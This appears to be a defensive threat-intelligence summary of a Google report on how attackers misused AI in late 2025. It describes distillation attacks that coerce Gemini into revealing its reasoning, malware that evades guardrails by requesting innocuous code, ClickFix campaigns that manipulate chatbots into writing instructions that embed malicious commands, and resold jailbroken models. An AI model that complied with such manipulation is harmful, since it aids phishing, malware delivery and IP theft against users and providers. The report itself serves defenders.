AI-Enabled Threats: Model Extraction, APT Phishing, & Malware Evolution

Google Threat Intelligence Group (GTIG) reported a significant increase in threat actors integrating Artificial Intelligence (AI) to accelerate their attack lifecycles in the final quarter of 2025. This includes productivity gains across reconnaissance, social engineering, and malware development. GTIG’s findings, detailed in their AI Threat Tracker report, aim to equip defenders with essential intelligence to anticipate and counter emerging AI-enabled threats.

While direct attacks on “frontier models” or generative AI products by Advanced Persistent Threat (APT) actors were not observed, GTIG noted frequent model extraction attempts from private sector entities and researchers seeking to clone proprietary logic. Government-backed threat actors, including those from DPRK, Iran, PRC, and Russia, have operationalized Large Language Models (LLMs) for technical research, targeting, and generating nuanced phishing lures.

Technical Analysis of AI Adversarial Use

Model Extraction Attacks: A Form of IP Theft

“Distillation attacks,” a subset of model extraction attacks (MEA), have increased significantly over the past year. These attacks involve adversaries using legitimate API access to systematically probe a mature machine learning model to extract information, then transfer that knowledge to train a new, often cheaper, “student” model. This process, also known as knowledge distillation (KD), represents a form of intellectual property theft.

GTIG and Google DeepMind identified and disrupted model extraction attempts, specifically focusing on Gemini’s reasoning capabilities. One identified campaign involved over 100,000 prompts attempting to coerce Gemini into outputting full reasoning processes in non-English languages to replicate its abilities. Google systems detected and mitigated this in real-time. Model extraction primarily poses a risk to model developers and service providers, not average users, by threatening proprietary logic and specialized training data. Organizations offering AI models as a service should monitor API access for suspicious extraction or distillation patterns.

AI-Augmented Operations Across the Attack Lifecycle

Threat actors are leveraging LLMs like Gemini to enhance various stages of the attack lifecycle, moving beyond simple content generation to strategic force multiplication.

Supporting Reconnaissance and Target Development

APT actors are using Gemini for rapid open-source intelligence (OSINT) synthesis to profile high-value targets, identify key decision-makers, and map organizational hierarchies. This accelerates the transition from reconnaissance to active targeting.

• UNC6418: An unattributed actor used Gemini for targeted intelligence gathering, specifically for account credentials and email addresses, followed by a phishing campaign targeting Ukraine and the defense sector. Google disabled associated assets.
• Temp.HEX: A PRC-based actor leveraged Gemini and other AI tools to compile detailed information on individuals in Pakistan and structural data on separatist organizations. Subsequent campaigns included similar targets. Google has also disabled assets related to this activity.

Phishing Augmentation

LLMs are being used to generate hyper-personalized, culturally nuanced phishing lures that can mimic professional tones, effectively erasing traditional “tells” like poor grammar. This extends into “rapport-building phishing” where models sustain believable multi-turn conversations to build trust before delivering a payload.

• APT42: This Iranian government-backed actor used Gemini for reconnaissance, enumerating official email addresses, researching potential business partners to establish credible pretexts, and crafting personas for social engineering based on target biographies. They also utilized Gemini for language translation to enhance communication. Google disabled associated assets.
• UNC2970: A North Korean government-backed actor focused on defense targeting, impersonating corporate recruiters. The group used Gemini to synthesize OSINT for target profiling, including researching cybersecurity companies, job roles, and salaries, to create tailored phishing personas. Google disabled associated assets.

Coding and Tooling Development

State-sponsored actors continue to misuse Gemini for coding and scripting, C2 development, and data exfiltration. Interest in “agentic AI” capabilities, where AI systems operate with high autonomy, is growing for tasks like automating spear-phishing and developing sophisticated malware.

• APT31: This PRC-based actor prompted Gemini with an expert cybersecurity persona to automate vulnerability analysis and generate testing plans, including RCE, WAF bypass, and SQL injection tests against US targets. This blurs the line between a routine security assessment and a targeted malicious reconnaissance operation. Google disabled associated assets.
• UNC795: Another PRC-based actor, UNC795, heavily relied on Gemini for code troubleshooting, research, and generating technical capabilities for intrusion activities. The group also explored creating an AI-integrated code auditing capability, indicating interest in agentic AI. Google disabled associated assets.
• APT41: This PRC-based actor used Gemini to accelerate malicious tooling development, including knowledge synthesis, real-time troubleshooting, and code translation. They frequently provided Gemini with open-source tool READMEs for explanations and use case examples. Google disabled associated assets.
• APT42: In addition to social engineering, APT42 used Gemini as an engineering platform to accelerate the development of specialized malicious tools, leveraging it for debugging, code generation, and researching exploitation techniques. Google disabled associated assets.

Information Operations

Information operations (IO) actors continue to use Gemini for productivity gains in research, content creation, and localization for political satire and propaganda. While no “breakthrough capabilities” have been identified from these efforts, Google has taken action against associated accounts.

Continuing Experimentation with AI-Enabled Malware

GTIG observed ongoing experimentation with AI for novel malware capabilities. While these haven’t caused revolutionary shifts, they indicate future trends.

Outsourcing Functionality: HONESTCUE

First observed in September 2025, HONESTCUE malware leverages Gemini’s API to outsource functionality generation. This downloader and launcher framework sends a prompt to Gemini’s API, receiving C# source code in response. Similar to PROMPTFLUX, HONESTCUE uses Gemini to generate code for its “stage two” functionality, which downloads and executes further malware. This fileless secondary stage compiles and executes the C# code directly in memory using the .NET CSharpCodeProvider, leaving no disk artifacts. The use of Discord CDN for hosting final payloads suggests a singular actor or small group in the proof-of-concept stage. The non-malicious nature of the prompt itself highlights how threat actors can bypass security guardrails by outsourcing seemingly innocuous code generation.

AI-Generated Phishing Kit: COINBAIT

In November 2025, GTIG identified COINBAIT, a phishing kit likely accelerated by AI code generation tools. Masquerading as a major cryptocurrency exchange for credential harvesting, COINBAIT shows infrastructure overlaps with UNC5356, a financially motivated threat cluster. The kit was built using the AI-powered platform Lovable AI, indicated by the lovableSupabase client and lovable.app for image hosting. Its complex React Single-Page Application (SPA) structure suggests generation from high-level prompts. Verbose, developer-oriented logging messages (e.g., ”? Analytics: Initializing…”) within the source code also point to LLM use and act as a unique fingerprint. COINBAIT employs Cloudflare for proxying phishing domains and hotlinks image assets from Lovable AI, enhancing evasion.

Cyber Crime Use of AI Tooling

The underground marketplace for AI tools supporting illicit activities is growing, enabling low-level actors.

Threat Actors Leveraging AI Services for Social Engineering in ‘ClickFix’ Campaigns

Starting December 2025, threat actors began abusing the public sharing feature of generative AI services (e.g., ChatGPT, CoPilot, DeepSeek, Gemini, Grok) to host deceptive social engineering content in “ClickFix” campaigns. These campaigns trick users into copying and pasting malicious commands into their terminals. The attack chain involves:

1. Crafting a malicious command.
2. Manipulating an AI to create realistic instructions for a common computer issue, embedding the malicious command as the solution.
3. Sharing the AI chat transcript via a public link (acting as a trusted landing page).
4. Directing victims to this link via malicious advertisements.
5. Victims executing the command, leading to malware infection, such as variants of ATOMIC, an information stealer targeting the macOS environment.

This method leverages trusted AI domains to host initial instructions, relying on social engineering for final execution, making detection more challenging.

Observations from the Underground Marketplace: Threat Actors Abusing AI API Keys

Services like “Xanthorox” advertise custom AI for offensive purposes (malware generation, phishing campaigns) but are revealed to rely on jailbroken commercial AI products, including Gemini. This leverages multiple open-source AI tools (Crush, Hexstrike AI, LibreChat-AI, Open WebUI) via Model Context Protocol (MCP) servers to build agentic AI on commercial models. A significant risk is the hijacking and black market resale of AI API keys, often stolen through exploiting vulnerabilities (default credentials, insecure authentication, XSS) in open-source AI tools like One API and New API platforms. Google has mitigated identified Xanthorox accounts and AI Studio projects.

Actionable Recommendations and Mitigations

Defending against AI-enabled threats requires a multi-layered approach focusing on technical controls, user education, and continuous intelligence integration.

• For AI Model Developers and Service Providers:

  • Implement robust monitoring of API access for patterns indicative of model extraction or distillation attempts.
  • Enforce strict terms of service and actively disrupt malicious activity, as Google does with takedowns and account disablements.
  • Continuously strengthen model classifiers and safety guardrails to detect and refuse malicious prompts.
  • Implement secure AI development practices, like Google’s Secure AI Framework (SAIF), including red teaming and evaluating model safety.
  • Protect API keys and ensure open-source AI tools are securely configured, addressing vulnerabilities like default credentials and XSS.

• For Enterprises and General Users:

  • Enhanced Security Awareness Training: Educate users on the evolving sophistication of phishing and social engineering lures, specifically mentioning AI’s role in creating highly convincing, culturally nuanced messages and “rapport-building” interactions. Warn against “ClickFix” techniques, emphasizing critical thinking before copying and pasting commands from unknown sources, even from seemingly legitimate AI chat platforms.
  • Email and Endpoint Security: Deploy advanced email security solutions capable of detecting highly personalized and sophisticated phishing attempts. Strengthen endpoint detection and response (EDR) solutions to identify anomalous processes, fileless malware execution (like HONESTCUE’s in-memory compilation), and suspicious network traffic, especially to backend-as-a-service platforms or CDNs from uncategorized domains.
  • Network Monitoring: Implement network detection rules to alert on traffic to BaaS platforms (e.g., Supabase) originating from uncategorized or newly registered domains.
  • Software Supply Chain Security: Exercise caution with open-source AI tools, ensuring they are from reputable sources and properly secured to prevent API key theft or exploitation.

The continuous evolution of adversarial AI necessitates proactive defense strategies that adapt as quickly as the threats emerge. Organizations must prioritize integrating threat intelligence to refine security posture and anticipate future AI-enabled attack vectors.